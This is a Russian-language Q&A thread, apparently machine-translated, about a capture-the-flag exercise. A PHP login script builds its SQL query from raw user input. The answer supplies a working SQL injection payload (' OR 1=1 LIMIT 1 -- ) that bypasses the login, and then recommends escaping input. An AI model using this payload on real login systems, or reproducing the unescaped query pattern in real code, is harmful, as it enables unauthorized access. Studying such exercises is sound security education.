Имя пользователя SQL-запроса и пароль

Question

Я работаю над проектом с несколькими друзьями. Наша задача в том, чтобы найти имя и пароль учетных данных, чтобы войти в фальшивой базе

Вот исходный код:

<?php 
include "config.php"; 
$con = mysqli_connect("localhost", "sql1", "sql1", "sql1"); 
$username = $_POST["username"]; 
$password = $_POST["password"]; 
$debug = $_POST["debug"]; 
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; 
$result = mysqli_query($con, $query); 

if (intval($debug)) { 
    echo "<pre>"; 
    echo "username: ", htmlspecialchars($username), "\n"; 
    echo "password: ", htmlspecialchars($password), "\n"; 
    echo "SQL query: ", htmlspecialchars($query), "\n"; 
if (mysqli_errno($con) !== 0) { 
echo "SQL error: ", htmlspecialchars(mysqli_error($con)), "\n"; 
    } 
    echo "</pre>"; 
} 

if (mysqli_num_rows($result) !== 1) { 
    echo "<h1>Login failed.</h1>"; 
} else { 
    echo "<h1>Logged in!</h1>"; 
    echo "<p>Your flag is: $FLAG</p>"; 
} 

?> 

Проктор дал нам подсказку с просьбой «Что произойдет, если имя пользователя или пароль содержит апостроф '?

Я перепробовал все от ' or 1=1--

к вещам как ' OR a=1--

Если бы кто-нибудь мог помочь, я был бы очень признателен!

Answer 1

ваша проблема находится в операторе отбора:

SELECT * FROM users WHERE username='$username' AND password='$password' 

Imagine пользователя указав имя ' OR 1=1 LIMIT 1 -- (обратите внимание на пробел после --) Он всегда будет точно возвращать один результат строки - так Логин действительно, причина запрос выполнен бы:

SELECT * FROM users WHERE username='' OR 1=1 LIMIT 1 -- ' AND password='$password' 

MySQL будет игнорировать комментарий, поэтому запрос:

SELECT * FROM users WHERE username='' OR 1=1 LIMIT 1 

Вы должны избежать значения перед их использованием:

$username = mysqli_real_escape_string($link, $_POST["username"]); 

---

Смотрите эту скрипку, как, например: http://sqlfiddle.com/#!2/fd8be/1 (One resultrow -> Ваша логика говорит: «авторизованы!» - даже не зная, любое имя пользователя и/или пароль.)